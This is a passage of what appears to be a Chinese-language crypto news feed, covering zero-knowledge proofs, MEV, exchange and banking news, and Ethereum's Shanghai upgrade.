一个简单的例子是著名的“彩色图问题”，它是关于如何在任何图中着色的问题。如果证明者声称他能够在任何图中为每个节点着色，而且相邻节点必须使用不同的颜色，那么验证者可以采取交互式零知识证明方法来判断该声称是否正确。在证明过程中，证明者首先以某种方式着色图形，接着验证者选择任意两个节点并询问证明者它们是否被用了同一种颜色。证明者需要回答这个问题，但不能透露为什么他会如此选择。这个过程会持续几轮，验证者可以检查一些有关证明者如何着色图形的随机数据。如果证明者可靠地回答了问题，证明者就可以认为是正确的。交互式零知识证明 (IZKP) 有几个局限性，因此使它们更加昂贵和复杂。 IZKP 需要证明者和验证者之间的交互，这可能是低效且耗时的。为了完成证明，证明者必须与验证者来回发送多条消息。这可能会花费大量时间，尤其是在证明很复杂或涉及大量数据的情况下。当速度至关重要时，例如在高频交易或实时决策中，这可能是个问题。 IZKP 不能很好地扩展。随着被证明数据的增加，证明的复杂性也随之增加，难以在合理的时间内完成证明。当需要证明大量数据时，例如在供应链管理或医疗保健中，这可能是一个问题。 IZKP 依赖于证明者和验证者是诚实的并且不会试图欺骗或操纵证明的假设。然而，这个假设并不总是有效的，证明者可以通过发送虚假消息或以某种方式操纵证明来试图欺骗验证者。这可能会损害证明的完整性并破坏其实用性。 IZKP 需要专门的加密技术，这可能难以实施并且需要高水平的技术专长。这可能会使非技术用户使用 IZKP 变得困难，并且可能会限制它们在某些情况下的采用。 总的来说，虽然 IZKP 有可能提供强大的安全和隐私保证，但上述限制在历史上阻碍了它们的广泛使用。但它存在一些缺点。尤其是这种证明需要证明者和验证者之间进行多轮的交互，这会带来时间和计算成本的问题，并需要所有参与者进行通信。其次，有些应用程序可能需要处理的信息太复杂，以至于证明者和验证者之间必须进行多轮交互才能得到完整的证明，这就使得交互式证明方法不太可行。一旦理解了交互式和非交互式 ZKP 之间的区别，就该深入研究最流行的区块链和加密行业实现 — zkSNARKs。虽然 zkSync 使用 zkSNARKs，可以说是最流行的使用 ZKPs 的 L2，但紧随其后的是 Starkware 的 zkSTARKs。让我们了解这两种实现方式的不同之处以及各自的优缺点。 zkSNARKs 和 zkSTARKs 都是零知识证明 (ZKP) 系统，允许一方（证明者）向另一方（验证者）证明陈述是真实的，而无需透露关于陈述本身的任何信息。ZKP 有很多应用，包括区块链上的隐私保护交易、安全的多方计算和匿名通信。它们都是用于保护数据交易和计算中的隐私，但它们的应用场景和技术方案有很大的不同。zkSNARKs技术优势在于高度压缩的小证明，在保证计算安全性的同时，支持高度隐私保护和高效交易。zkSTARKs技术优势在于对复杂算法和大型数据处理性能方面的优化，可以实现更高级别的保护和证明。 zkSNARKs是一种使用高度压缩的算法来提供非常小的证明的方法，这些证明可以用来证明满足某些条件的任意计算。通过使用zkSNARKs技术，可以得到一个经过验证的证明，证明所描述的计算的具体值和详细步骤是未知的。zkSNARKs的优点是证明大小非常小，只需要大约200字节的证明就可以验证一个数百万次计算后的结果，证明的计算成本也相对较低。同时，它们允许对基于密码学的计算进行高效的隐私保护，特别是在需要验证但不愿意透露信息时非常有用。因此，zkSNARKs广泛应用于无信任环境下的交易、加密货币、身份验证和隐私保护领域。zkSNARKs（零知识简洁非交互式知识论证）最早由 Eli Ben-Sasson、Alessandro Chiesa、Daniel Genkin、Eran Tromer 和 Madars Virza 于 2014 年在一篇论文中提出。它们基于“非-交互式证明”，这意味着证明者和验证者在证明过程中不需要相互通信。这使得 zkSNARKs 非常适合在区块链中使用，在区块链中，各方之间的通信受到达成共识的需要的限制。zkSNARKs 使用公钥和私钥的组合来创建证明。证明者可以访问私钥，他们用它来生成他们希望做出的陈述的证明。验证者可以访问相应的公钥，用于验证证明。如果证明是有效的，验证者可以确信该陈述是真实的，即使他们没有关于该陈述本身的任何信息。 zkSNARKs 的主要优势之一是它们的效率。证明过程非常快，使得在区块链等高吞吐量系统中使用 zkSNARKs 成为可能。 他们依赖于“可信设置”过程，其中一组参与者生成并销毁一组公钥和私钥。如果未正确执行此过程，可能会危及系统的安全性。因此需要够在可信的第三方中进行设置和参与、视数据的不同而具有不同的性能，并且它们的证明可能会被各种攻击技术攻击。 此外，zkSNARKs 不是透明的，这意味着如果不访问私钥就无法验证证明的正确性。 zkSTARKs是另一种零知识证明技术，专门用于处理复杂算法和大规模数据。相比之下，zkSTARKs可以在不需要中间方的情况下提供更高的安全性，因为它们不需要可信的第三方进行参与和设置。zkSTARKs的优点包括不需要选择特定曲线进行计算，证明更加通用，并且具有良好的可扩展性和抗攻击性。它们也没有任何机密密钥或公共参数，这使得它们非常适合用于无信任环境下进行的基于密钥的计算。然而，zkSTARKs技术需要更高的计算成本和证明大小比zkSNARKs技术更大，因此在一些场景中可能不适合使用。 zkSTARKs 的主要优势之一是它们的透明度。使用 zkSNARKs，无法在不访问私钥的情况下验证证明的正确性。使用 zkSTARKs，可以创建一个“验证证明”，它允许任何人在不访问任何秘密信息的情况下验证证明的正确性。这使得 zkSTARKs 成为信任必不可少的应用程序的更安全和透明的选择。 zkSTARKs 的另一个优势是它们的可扩展性。zkSNARKs 依赖于资源密集型的复杂数学运算，随着证明规模的增加，它们的效率会降低。 一个主要缺点是 zkSTARKs 仅适用于证明某些类型声明的真实性。特别是，它们只能用于证明以多项式表示的陈述的真实性，这限制了它们的适用性。 另一个缺点是 zkSTARKs 不是完全非交互的，需要一个可信的设置阶段，在这个阶段生成一个公共参考字符串（CRS）。此 CRS 必须保密且安全，zkSTARK 证明才能被视为有效。如果 CRS 受到损害，那么证明的安全性也会受到损害。 此外，zkSTARKs 尚未被广泛使用或被充分理解，因此可能尚未发现潜在的漏洞。缺乏广泛采用和理解也意味着缺乏使用 zkSTARKs 的工具和资源，使得在实践中实施和使用它们变得更加困难。 最后，与其他零知识证明系统相比，zkSTARKs 仍然相对较新且未经测试，这意味着它们的长期安全性和可靠性尚未得到充分了解。对于寻求经过验证且可靠的方法来验证声明真实性的组织或个人而言，这种不确定性可能是一个缺点。 虽然 zkSTARKs 在效率和安全性方面提供了一些好处，但在决定是否使用它们时也有一些缺点需要考虑。这些缺点包括适用范围有限、需要可信的设置阶段、缺乏广泛采用和理解，以及对其长期安全性和可靠性的不确定性。zkSNARKs基于曲线上的折线算法，可以用于证明一些计算结果在不泄露计算输入和密钥的情况下是正确的。这种技术可以应用于区块链、加密货币和密码学等领域。 与zkSNARKs不同，zkSTARKs是在简洁交互证明的框架下建立的，这意味着证明可以很容易地验证，而不需要涉及证明者和验证者之间的任何交互。因此，zkSTARKs在安全性和可扩展性方面都具有更大的优势。 随着技术的发展零知识证明技术将继续发展和应用，在保护隐私和进行安全验证等方面，零知识证明技术具有非常广泛的应用前景。同时随着协议的发展和优化，零知识证明技术的计算效率和证明大小等方面也将得到改善，从而进一步推动其在实际应用中的普及和应用。  ( 4 min )
    加密交易所Bitstamp已裁员30%，解雇约200名员工
    PANews 3月15日，据DLNews报道，加密货币交易所Bitstamp最近将员工人数减少了 30%，从去年9月份的约650人减少到2月份的450人。但Bitstamp首席执行官Jean-Baptiste 在接受采访时表示：“这不是一轮裁员，许多从事牌照、战略、合规和安全工作的顾问完成了他们的项目，所有这些人都在去年年底完成了他们的任务。”  ( 4 min )
    Cosmos已激活引入Replicated Security功能的V9 Lambda升级
    PANews 3月15日，Mintscan数据显示，Cosmos刚刚到达激活V9 Lambda升级的区块高度14470501，根据此前消息，本次升级旨在激活Replicated Security功能，这将强制执行链间安全性（ICS）的良好运行规则。Replicated Security功能可将Cosmos Hub的安全性复制到消费者链，并监控对规则的遵守情况，消费者链可以从Cosmos Hub的安全性中受益，而不必维护自己的验证者；而ATOM质押者将受益于消费者链产生的一定比例的代币或费用作为质押奖励。  ( 4 min )
    浅析MEV的发展现状及趋势：这片“黑暗森林”该如何被照亮？
    原文：《浅析MEV的发展现状及趋势》 作者：0xCousin 特别鸣谢 IOSG Ventures Jiawei 的分享和交流。 MEV（Maximum Extractable Value）是指通过在区块内重新排序、插入和审查交易从用户那里提取的价值，例如套利、清算等。最根本上可以理解为“在创建新区块时，通过调整Tx的排序从而获得的额外收益”。 MEV的概念最早是由Phil Daian在《Flash Boys 2.0》中提出，在以太坊合并之前，MEV主要由矿工捕获，因此当时也被称为“矿工可提取价值（Miner Extractable Value）”。MEV的产生来源于，当用户在区块链上提交一笔交易时，该笔交易一般会先进入Mempool公开访问的待处理交易池中。套利者和矿工可以检索Mempool，并从中找到获取MEV的机会。 以太坊合并后，由于出矿机制的改变，MEV供应链中的角色也有所改变。在Danksharding尚未实施之前，Flashbots提出了MEV-Boost作为PBS在协议外的实践。Buider专注于构建Block，并尽可能实现每个Block的利益最大化，然后最有利可图的Block被提交给Proposer。PBS机制的实现使得区块链出块产业的利益产生了一些改变，同时促进了产业链上相关机构的专业化、商业化进程，也使得MEV供应链形成了新的格局。 基于MEV-Boost的Tx上链流程如下图（图中浅绿色为Tx常规上链流程，白色模块为MEV的Tx上链流程）： 来源：Flashbots 与Tx常规上链流程相比，MEV的Tx上链流程通过Flashbots的MEV-Boost实现了PBS的协议外实践，同时也使得MEV被Searcher、Builder、Validator这几个角色瓜分捕获。 Searcher：一般是以下角色（套利和清算机器人、DeFi交易员、具有高级用例的以太坊Dapps），他们会通过不同的方法在链上找到所有可提取的价值，然后将交易捆绑在一起提供给Builder； Builder：Builder一般是专业的机构（过去14天有36个活跃Builder，前6家垄断超88%的市场份额），他们从Searchers发送的Bundles中挑选最有利可图的打包成Full Block，通过Relay最终发送给Validator。几个Bundle可以组合在一起形成一个Block，也可能包含来自Mempool的其他用户的待处理交易； 数据来源：MEVBoost.pics Relay：Relay负责连接Builder和Proposer，验证Builder提交区块的有效性和出价，并将有效的最高出价提交给Proposer。目前是寡头统治格局，活跃的Relay只有11个，不过Relay并不参与MEV利润的瓜分，属于一个中立的基础设施； 数据来源：MEVBoost.pics Validator：Validator是ETH2.0的Miner，Validators（Validators中的Proposers）负责向网络提议Block，并将Block添加到链中。目前Validator的竞争格局渐趋稳定，Lido市场份额第一。Validator既可以获得共识奖励（区块奖励），也可以获得执行奖励（MEV+Tips）。 数据来源：MEVBoost.pics 当前MEV供应链中各个环节都有项目在做。Searcher环节，有很多套利和清算机器人、DeFi交易员、做市商等，也有服务这些Searcher的项目，比如EigenPhi这类展示链上套利案例的数据平台；Builder环节，则有Flashbots、BloXroute、Blocknative等专业化机构；Relay在MEV Supply Chain中作为一个中立的基础设施，属于需要信任的环节，活跃的Relay主要有11个；Validator也有很多项目在做，相对而言Validator的网络已经有一定的健壮性，从近期融资情况来看，目前也还有新团队想在这个赛道创业。 按照MEV的获得方式，主要可以分为以下几类： Front Running：通过支付比Mempool中的目标交易更高的Gas Fee来抢先执行的行为。比如Mempool中包含一笔某交易对的Tx，会对该Token价格造成较大波动，可以在该笔Tx前插入一笔Tx；或者在新NFT项目上线时，将Mint NFT的Tx抢跑。目前要防止被抢先交易也简单，只需要接入类似Flashboots Auction的Private Transaction Pool，即可获得Frontrunning Protection； Back Running：是指当一笔交易会造成较大价格波动时，在该交易后插入一笔交易的行为，可能是套利、清算等。比如链上发生了一笔大额Tx，导致某交易对出现价格波动，在其后插入一笔既可以将DEX的价格搬平，同时套利者也获得了利润；或者链上发生了一笔抵押借贷触发清算线后，在其后插入一笔清算订单的行为； Sandwith Attack：三明治攻击其实是Front Running和Back Running的结合。搜索者在Mempool中搜索潜在的大额交易，并在交易发生之前抢先买入最终会升值的资产，并在大额交易执行后立即卖出这些资产，从而赚取差价的行为； Time Bandit Attack：这类MEV主要发生在有最长链原则的区块链网络（比如中本聪共识的Bitcoin）。 从这些MEV发生的结果来看，一般Back Running类的MEV对区块链网络是良性的，比如套利者利用两个DEX之间的差价+闪电贷实现的无风险套利、清算者维持借贷协议的健康运行；Front Running、Sandwith Attack对其他用户而言可能会导致利益受损。 其实MEV是饱受争议的，因为非良性MEV的存在，看起来不太道义。比如Front Running、Sandwith Attack、Time Bandit Attack对区块链上的普通用户而言，会破坏其交易体验、损害其利益。所以，我在很长时间里是希望行业里能够推出一个方案/产品/协议，防止这些非良性MEV的发生。 但Mempool内交易公开可见的特点、Tx上链排序的竞价规则决定了，MEV是必然存在的。退而求其次，如果你的交易无法避免被提取MEV，不如使用能够将收益反馈给你的产品/协议。 针对MEV（尤其是非良性MEV）对有状态区块链（比如Ethereum）可能带来的负面外部性（Negative Externalities），目前行业里针对这些风险有一些产品可以减轻这些影响。比如Falshbots系列产品： Flashbots Auction：Flashbots Auction在以太坊用户和Validators之间提供了一个私人通信渠道，用于在区块内有效地传达首选交易顺序。通过这类产品可以让链上交易用户实现Pre-trade Privacy、Failed trade privacy、Finality protection等。 Flashbots Protect RPC：这是一个让用户可以实现Front-Running Protection的RPC端点产品，用户可以将其添加到他们的钱包中，从而使他们的交易提交给Flashbots Auction。对于用户而言，和普通的交易没有感知上的区别，但从结果上可以实现Front Running Protection、Failed trade Privacy等。 MEV-Boost：PoS时期，Validator可以自行去Mempool为交易排序，将其打包，也可以选择MEV-Boost推送过来的经过Builder排序过的拥有更高MEV收入的区块。通过MEV-Boost，Validator的收入可以获得大幅增加，所以大部分Validator会选择接入MEV-Boost，而不是自己排序。 图片来源：IOSG Ventures Jiawei 从MEV Supply Chain来看，这三款产品分别在MEV Supply Chain的各个环节发挥作用。 对于MEV领域的未来，结合MEV领域的发展现状分析，我们认为可能会有以下几个主要趋势： 1、头部效应会很严重：过去500个Epoch超过90%是由MEV-Boost提供服务，而且Flashbots的系列产品在PoS时期出块的各个环节几乎都是龙头地位，在已经有Flashbots这种First Mover的情况下，想要切入MEV领域的新入局者需要一些核心竞争力才能抢占更多市场份额； 2、得Orderflow者得天下：要想获得更多的MEV机会，有充足的Orderflow很重要。对于普通的交易用户而言，实际上是没有办法完全杜绝MEV的。即使User采用了FlashbotsProtect RPC，也只能防止Public Mempool的Searcher捕捉其Tx潜在的MEV，Flashbots Auction网络中的Buider仍然有机会针对其Tx提取MEV。所以，对于普通用户而言，既然无法完全规避被提取MEV，不如选择那些会将MEV收益反馈给Users的Wallet、DEX或其它Dapps； 3、Multichain的MEV仍有增长空间：单纯的Ethereum链内的MEV，可能已经基本得到了充分的捕获。但是区块链是一个Multichain的生态，Layer1 与Layer1之间、Layer1与Layer2之间的MEV机会还较难捕获，针对这方面的MEV可能还有些增长空间； 4、抗审查交易的上链需求始终能被满足：据MEVwatch数据，Merge后以太坊区块链上符合OFAC合规要求的区块占出块总量的57.49%，最近100个区块中只有35个区块执行了OFAC合规性，对抗审查类交易的上链影响不大。虽然Merge之后，头部质押平台多为中心化平台，这些中心化实体难免受到法律监管，从而对以太坊区块链的抗审查能力形成挑战。但即使超过90%的Validator通过MEV审查中继路由交易，那些抗审查的交易仍然能够在一个小时内上链。  ( 4 min )
    赵长鹏：币安将零费用BTC交易从BUSD转移到TUSD
    PANews 3月15日，针对“币安将恢复部分BTC手续费和BUSD挂单手续费”的公告，赵长鹏在推特上表示：“鉴于最近发生的事件，我们将0费用BTC交易从BUSD转移到TUSD。” 此外，针对TUSD相关公告发布后TRU（TrueFi）短时暴涨一事，赵长鹏表示，TRU应与TUSD无关。Coingecko数据显示，TRU价格在公告发布后短时暴涨近30%，目前已大幅回落。 此前今日早些时候消息，币安宣布将于2023年3月22日8:00起，用户仅在BTC/TUSD现货交易对交易BTC时，可继续享受零挂单和吃单手续费。BUSD零挂单（Maker）手续费活动将不再包括BNB/BUSD、BTC/BUSD和ETH/BUSD现货和杠杆交易对。  ( 4 min )
    加密友好银行Silvergate、SVB 和 Signature相继倒下，Web3公司正设法寻找“替代品”
    来源：The Block 编译：Mary Liu，比推 BitpushNews 在 Silvergate Bank、硅谷银行（Silicon Valley Bank：SVB) 和 Signature Bank 三个著名的加密银行合作伙伴突然倒闭后，加密初创公司寻求扩展新的银行业务，这包括 Mercury、Brex 和 Customers Bank 等替代银行服务。（相关阅读：《三家加密友好银行倒下，美国还剩下哪些加密友好型银行？》） 一家领先加密货币投资公司的风险投资者表示，虽然储户没什么损失，但 Signature 和 Silvergate Bank 的关闭（上周也因银行挤兑而不得不停止运营）对加密行业产生了严重影响。他们说：「对于该领域的项目，美国的银行选择越来越少，这是委婉的说法，其实不是什么好消息」。 该投资者敦促投资组合公司至少再增加一家银行，但要找到一家银行说起来容易做起来难。 自去年年底以来，美国监管机构加强了对加密公司的监管行动，尤其是那些与银行服务相关的公司，无论是 Paxos 等稳定币发行商还是 Custodia 等数字资产银行。风险投资人 Nic Carter 将此称为「运营瓶颈 2.0」，指的是通过银行业打击加密货币。  Carter 在推特中表示：「一个月前，这是一个瓶颈——银行不鼓励接触加密货币，现在几乎可以说是……斩首，每家支持加密货币的银行都已关闭。」 早期风险投资公司 Protagonist 联合创始人兼风险投资人 George Bousis 在推荐银行合作伙伴方面仍然持谨慎态度，因为环境每天都在变化。 他对 The Block 表示：「我希望有一个更好的答案，就像有一个水晶球来知道此时会发生什么，但我没有，这是我的担忧之一，也是让我彻夜难眠的事情。」 尽管美国公开的对加密货币友好的银行正在淡出人们的视野，但一些 web3 公司仍在设法寻找银行合作伙伴。  这位不愿透露姓名的风险投资者表示，选项包括 Mercury、Brex 甚至华尔街巨头摩根大通。摩根大通拒绝置评。Mercury 和 Brex 没有立即回应置评请求。 匿名投资者称：「从中期来看，我们更喜欢大银行 [例如] 大通银行，但目前，确实建议有任何 plan B 或 C，所以像 Brex 或 Mercury 这样可以快速合作的平台是很好的选择。」 多签名初创公司 Den 一直将 Mercury 作为银行合作伙伴，并结合链上资产的使用。 Den 联合创始人 Jonah Erlich 谈到 Mercury 的合作过程表示，在周末突发事件之后，Den 正在听取风险投资者的建议，希望增加其在链上持有的资金的百分比。他说：「对我们来说，这是一个非常顺利的过程，我们将留在 Mercury，但也在探索利用清算账户和 GSIB [全球系统重要性银行] 在类似的金融科技平台开设账户」。    Mercury 是一家金融科技初创公司，与两家由联邦存款保险公司 (Federal Deposit Insurance Corp.) 承保的银行 Evolve Bank 和 Trust and Choice Financial Group 合作。与标准的 250,000 美元门槛相比，它的支票和储蓄存款现在可以由 FDIC 承保高达 300 万美元。这要归功于 sweep networks 的使用，它使客户存款能够分布在各个银行中。  Mercury 的首席执行官兼创始人 Immad Akhund 周末表示：「我们今天的新加入客户数量是平时工作日的两倍！」 交易公司 Dexterity Capital 联合创始人兼合伙人 Michael Safai 表示，美国的另一个选择是 Customers Bank，但其中许多银行业者没有 Signature 和 Silvergate 提供的相同出入金通道。 另一个挑战是，美国的大型银行甚至地区性银行都不支持持有代币或加密资产。 Mercury 本身是私人持有的，但其合作伙伴 Choice Financial Group 公开交易。尽管美国总统乔·拜登周一做出了保证，但在最近发生的事件之后，许多地区和大型公共银行的股票也出现严重下跌。  Neil Zhang 是预测市场初创公司 Frontrunner 的创始人，由于经营一家专注于在线押注的 web3 公司的双重打击，在确保银行合作伙伴关系方面遇到了麻烦。他的创业公司目前依赖两家地区性银行，MVB 和 Western Alliance。两家银行都没有立即回应对其产品发表评论的请求。 Zhang 说：「我们花了很长时间才找到愿意接纳我们的这两家银行，虽然它们不是最新的或技术含量最高的银行，但自从今年年初从 Brex 转换过来以后，我们一直对它们的服务感到满意」。   他补充说，尽管这两家银行在公开市场上都遭受了重大打击，但该公司并不打算放弃任何一家银行，而是一直在寻求进一步多元化。  许多加密初创公司至少将一些资产存储在链上。Zhang 说，Frontrunner 主要持有法定资金，但加密资产都存储在多重签名的 Gnosis Safe 钱包中。他补充说，这家初创公司还没有收到任何建议它改变这种方法的投资者的指导。 Web3 公司卡初创公司 Multis 首席执行官 Thibaut Sahaghian 表示， Multis 也没有收到投资者的任何建议，只是将资金分配给多家银行。他补充说，目前它还在吸引许多 web3 客户，因为它是 Mercury 提供支票账户和公司卡的可行替代方案。 Sahaghian 说：「截至目前，Multis 的财务状况良好。我们很幸运，对 SVB 的敞口有限，而且我们在多个账户（包括我们的账户）中仍然拥有充足的美元、欧元、USDC、DAI、ETH 和 BTC 资金」。 该初创公司目前使用与 Lineage Bank 合作的 Synapse 进行银行业务，并且不打算更换供应商。它正在努力进一步使其金融服务提供商多样化。Synapse 和 Lineage Bank 没有立即回应对其产品发表评论的请求。  他说：「我们无法避免道德风险，因此需要多元化投资各种资产以维持业务运营，USDC 和稳定币只是部分答案，因为赎回受到当前危机的影响，通过依赖法币的中心化发行。但我们正朝着正确的方向前进。」 总部不在美国的初创公司具有利用 Sygnum 和 Seba Bank 等参与者的优势——这些瑞士银行也被允许持有加密资产。  Sygnum 首席客户官 Martin Burgherr 告诉 The Block，在 Silvergate 的影响之后，该银行收到大量咨询，但由于公司战略决定不为美国客户服务，他们无法完全填补空白。  Dexterity Capital 联合创始人 Safai 说：「寻找新银行的加密公司暂时可能不得不将目光投向海外。巴哈马有几家银行，欧洲也有一些加密货币友好且值得信赖的选择。」  ( 5 min )
    2023，ZK大年？
    ZK 作为 L2 、隐私、跨链等概念下的核心技术派系，该板块热度自 2022 年延续至今；近期的 ETHdenver 大会上，ZK 持续高热。 2022 年及以前推出的 ZK 系项目往往融资充足，估值较高，并在今年陆续有了阶段性的进展，围绕 ZK 技术的热点事件或持续整个 2023 年： ZK 的发展可视为区块链领域技术迭代演变的重要细节：该技术最初在早期匿名项目中展示其优越的隐私特性；在存储项目 Filecion 中被使用，以减少各方验证存储所需的时间；在 L2 共享安全验证下衍生出 ZK Rollup 的扩容优势；随着技术发展，ZK 正在走向通用化。 当前市场的 ZK 热度主要来自以太坊生态推进，以及 ZK 基础设施的进展，包括 ZK-EVM、ZK 公链、L2、ZK Bridge、ZK 工具等，但技术落地需要场景与应用共同承载，目前 ZK 概念或处于过热阶段，一个理想的“ZK Season”仍需要更多准备的时间才会到来。 例如，在近期 ZK 扩容的热点中，以太坊 L2 最终需要一个怎样的 ZK Rollup？技术进展如何？ ZK Rollup 作为同样与 Optimistic Rollup 受关注的主流扩容方式，零知识证明基于数学与密码学，相比 Op 采用的欺诈证明，在技术上能够做到更安全、更快速。但 ZK 的 EVM 兼容实现难度更高，Op 是更容易的，加上 Op 应用多、生态发展快，因此，主流观点认为“长期看好 ZK 系、中短期看好 Op”。 这种“长期”的 ZK rollups 想要落地，前提是 ZK 首先要在 EVM 兼容上真正有所进展。只有实现 zkEVM通这样的通用电路，才能兼容各类应用，这里需要解决的问题包括： 头部项目 zkSync、StarkNet、Polygon hermez、Scroll 等，正在致力于不同程度等效性的 zkEVM。整个 ZK 赛道中，ZK-EVM 兼容类项目几乎最多。 （一些 zk-rollup 的进展：https://yanglc.notion.site/zk-rollup-e35b8c7eb8ce44c7852c4aa7b6ef270d） 此外，在以太坊升级思路中，以太坊完成执行层扩容后，仍然需要 zkEVM 来实现 EVM 本身的扩容。在发展路径上，zkEVM 总需要跟随 EVM 的变化而变化，以太坊每次对 EVM 升级，同样需要考虑 zkEVM，并影响到 zkEVM 赛道的更新。整体来看，ZK 系技术进展相较于 OP 系延迟在一年以上。 当然，ZK rollup 并不是当代以太坊扩容场景中唯一基于 ZK 的解决方案（Validium 和 Volitions 同样使用了 ZK 技术），ZK 技术也并非单独在于扩容。 ZK 技术本质是一种在双方之间进行信息核验的数学方法，能够“证明论断有效”，且验证计算不暴露有关输入和计算本身的信息，在不泄漏交易的细节的情况下进行证明，成本更低且高效，在区块链的应用中展示出非常好的普适性。 基于此，我们对当前 ZK 赛道进行梳理，从结构上将一、二级市场的 ZK 项目分为： - ZK 以太坊兼容 / 电路编译（Starknet、zkSync、Scroll 等) - ZK 公链（Aleo 等） - ZK 跨链桥 / 预言机 - ZK 硬件加速 - ZK 工具类 - ZK 应用（利用 ZKP 协议开发的 Web3 应用程序，包括 DeFi、NFT、游戏、去中心化身份、隐私等) 以上分类中，zkEVM 头部项目多在 2021 年底推出早期版本，后陆续更新，但参考 StarkNet 早期版本主网中的生态发展、以及 Aztec Network 近期宣布的业务转型，这些网络在用户体验（包括验证速度及 Gas 费用）、生态项目数量、热点项目发展等方面来看，发展速度仍然较慢。 一定程度上，这表现出 ZK 在落地时的一些问题，包括较高的硬件成本、技术落地难度较高等。 相较于 zkEVM 的实现，zkBridge 的发展和落地可能相对更快一些：ZK 跨链的难点不在于技术文档或理论，而在于如何“做到”：每条链的签名和 hash 算法都不一样，某条链能否支持ZK，需要通过大量代码来解决，这类项目往往需要稳步的发展。 倘若 ZK 支持的跨链协议能够发展起来，那么许多正在开发的 Rollup SDK 可从中受益，ZK 支持的跨链协议将是连接应用链与 EVM 或 layer2 的更好工具。 ZK 公链类项目发展周期相对更长，以 Aleo 为例，Aleo 已成为市场中稀缺的“隐私公链”及“ZKP mining”的标的，Aleo 团队于 2019 年正式成立，其研究可编程零知识的时间甚至可追溯到 2016 年。在正式推出主网之前，Aleo 需要对开发者、证明者和验证者三个方向的的生态环境进行更好的调整和测试。2022 年开启的第三次激励测试中，是主要面向验证者的。 在 ZK 硬件加速方向，由于受到 ZKP mining 相关概念的推进，大多数 ZK 硬件加速理论和早期项目于去年相继被提出。目前 ZK 硬件加速主要来自 GPU ，预计需要到 2023 年年底之后，才能够出现支持 zkEVM 证明的专用硬件（ ASIC），以及相对成熟可用的产品。 ZK 技术走向成熟，预计最快也会在今年年底，基础设施的成熟是应用项目爆发的前提，倘若大量 ZK 项目及应用能够出现，才会推动一个 “ZK Season” 的真正到来，倘若进展相对较快，在时间点上，有望与下一轮牛市早期有所契合。  ( 5 min )
    上海升级的机遇，值得关注的 Layer2 与 LSD 赛道
    以太坊上海升级后，加密行业会发生什么新变化？ 今年三月，以太坊开发人员将开启以太坊测试网 Goerli 上海升级计划，在达成普遍共识后 3-4 周完成以太坊上海升级。此次升级将推出三个关键的以太坊协议，即 EIP-3855 提高以太坊网络的交易速度，EIP-3860 降低交易费用，以及焦点提案 EIP-4895 为以太坊质押者提供更灵活的质押机制。 此外，据以太坊联合创始人 Vitalik Buterin 所披露的以太坊未来路线图显示，上海升级完毕之后，以太坊开发者计划于今年年中发布 EIP-4844（proto-danksharding），这将显著提高以太坊网络的可扩展性。与此同时，以太坊 Layer2 层的扩展性将提升至更大量级。 不难看出，以太坊作为目前 Web3 领域中应用最为广泛的网络，今年两次升级围绕区块链不可能三角（安全、去中心化和可扩展性）难题展开。在此过程中， LSD 赛道与 Layer2 赛道将受到升级的直接影响，被推上发展的风口浪尖。作为 Web3 行业的探索者，如何把握 LSD 与 Layer2 赛道带来的机遇？TinTin Weekly 聚焦上述热点问题，邀请了一众大咖嘉宾，围绕以太坊升级的机遇，给出了精彩的观点，本文将对嘉宾们的精彩观点进行回顾与总结，希望能够给大家带来一些启发。 围绕着“以太坊上海升级后，质押赛道或迎爆发？”这一主题，TinTinLand 邀请到大咖嘉宾 DODO 战略研究员 Bruce，GBIE 联合创始人 William，Foresight News 研究员 Frank，Puzzle Ventures 投资经理 Calvin，DRK Lab 投资经理 SUYU，与大家共话质押赛道发展的机遇与挑战。 以太坊上海升级后，对于质押赛道而言是机遇，也是挑战。Bruce 老师介绍以太坊上海升级本属于去年以太坊合并升级 PoS 后遗留问题的解决方案。质押者不仅可以通过质押以保障网络的安全性，也可以随时提取质押资产，因此整个质押服务的产品逻辑被打通。 一方面，开放以太坊的提取功能意味着使得 LSD 将变得更加流行。据预测，本次升级应该会有近千万个 ETH 解压，价格方面短期内多少会有一些波动。但长远来看，它会使之前质押的资金得以释放，同时质押 ETH 的风险将被减少。更多的 ETH 的流入也意味着为质押协议供应商带来更多的收入，这对流动性质押领域和生态发展是有利的。 另一方面，而所谓质押服务本质上是托管用户资产的 LSD 协议，同样存在一定的风险。当用户发起提现请求时，需要经过节点运营商通过 Beacon Chain 进行处理。在这个过程中会出现两大风险，一是协议可能会遭受黑客攻击，二是节点运营商会有作恶风险。 目前部分 LSD 赛道项目也在对此进行不断发展完善。投资经理 SUYU 老师也为大家介绍了目前比较流行的 LSD 赛道项目，如 Rocket Pool 主打“人人都可以成为节点运营商”，实现高度去中心化以降低节点作恶风险，但其收益率有待权衡。新兴 SSV 则采用的密钥共享验证器 (SSV) ，将验证器密钥拆分为 N 个，每一个分片密钥给到一个节点运营商以防止作恶保障安全，但该平台供的服务具备一定门槛。 LSD 头部明星项目非 Lido 莫属，其引入了 stETH，用户能够质押他们希望质押的任何数量的 ETH，同时仍可将这些 ETH 用于其他 DeFi 平台上。而上海升级之后质押的 ETH 可以提取，Lido 随时可以赎回质押的模式将不再独占优势，如何打造新的质押“杀手锏”成为了即将要面对的挑战。 LSD 赛道风头正盛，SUYU 老师建议大家除了关注头部明星项目，大家也可以在赛道爆发初期多发掘一些“潜力”项目，比如通过 TVL 价值等维度对比其收益策略、独特性，判断哪些项目具有发展前景。Frank 老师也提到，随着 LSD 市场的扩大，炒作效应会渐渐消退，大家会更加趋于理性，大家可以乘这波发展的东风以较低的参与成本探索更多的项目、甚至加入该赛道进行深耕。 总之，以太坊上海升级之后，LSD 赛道的门槛会越来越低，对此感兴趣的开发者不妨保持持续关注。除此之外，几位嘉宾也提到以太坊上海升级后，Layer2 赛道也十分值得关注。实际上，上海升级中包含的其他几个较小的 EIP 将致力于提高扩展性并降低链上高昂的 gas 费用，而这也正是为了今年年中至明年的分片阶段升级做准备。 毫无疑问，随着年中以太坊新的升级的到来，Layer2 将迎来发展的高峰，以“加速 Layer2 未来：与 Web3 大咖共同探讨 2023 年 Layer2 的发展趋势”为主题，TinTin Weekly 栏目邀请到来自 Loopring 的 Product & Operation Magic、星球日报研究员 Loopy、Scroll 研究员 Young、Polygon Labs Developer Relations APAC Lead 的 Kevin、SevenX Ventures 的 investor Yuxing Liao 一同讨论今年 Layer2 发展的机遇。 目前 Layer2 扩展方案已经有很多，如侧链、Rollup、通道、Plasma、Validium 5 种。来自 Polygon Labs、Scroll、Loopring 的三位老师分别为大家介绍了这几种技术方案。 - 以 Rollup 系方案为主流 目前最为流行的方案是 Rollup 系扩展技术。Rollup 将数据保留在链上，同时将执行转移到 